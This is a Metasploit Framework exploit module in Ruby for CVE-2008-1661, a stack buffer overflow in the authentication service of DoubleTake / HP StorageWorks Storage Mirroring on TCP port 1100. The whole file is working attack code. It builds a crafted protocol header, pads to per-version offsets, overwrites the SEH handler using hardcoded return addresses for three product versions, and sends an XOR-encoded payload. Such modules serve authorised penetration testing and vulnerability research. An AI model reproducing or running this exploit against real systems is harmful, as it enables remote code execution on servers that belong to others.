DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::Seh  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'DoubleTake/HP StorageWorks Storage Mirroring Service Authentication Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the authentication mechanism of   
NSI Doubletake which is also rebranded as HP Storage Works. This vulnerability  
was found by Titon of Bastard Labs.  
},  
'Author' => [ 'ri0t <ri0t[at]ri0tnet.net>' ],  
'Version' => '$Revision$',  
'References' =>   
[  
['CVE', '2008-1661'],  
['OSVDB', '45924'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
  
'Targets' =>  
[  
['doubletake 4.5.0', { 'Ret' => 0x006f5fa7, 'Offset' => 5544 } ],  
['doubletake 4.4.2', { 'Ret' => 0x0074e307, 'Offset' => 944 } ],   
['doubletake 4.5.0.1819', { 'Ret' => 0x006e62dd, 'Offset' => 5544 } ],  
],  
'DefaultTarget' => 0,  
  
'Privileged' => false  
))  
  
register_options(  
[  
Opt::RPORT(1100)  
], self.class)  
end  
  
def exploit  
  
connect  
  
print_status("Trying target #{target.name}...")  
  
header =   
"\x00\x02\x00\x01\x27\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x36\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01"+  
"\x00\x00\x00\x1e\x00\x00\x00\x01\x00\x01"  
  
xor = Rex::Encoding::Xor::Byte  
filler = rand_text_english(1) * (target['Offset'])  
seh = generate_seh_payload(target.ret)  
buffercoded = xor.encode(seh+payload.encoded, [0xf0].pack("C"))  
sploit = header + filler + buffercoded[0]  
sock.put(sploit)  
  
handler  
disconnect   
end  
  
end  
`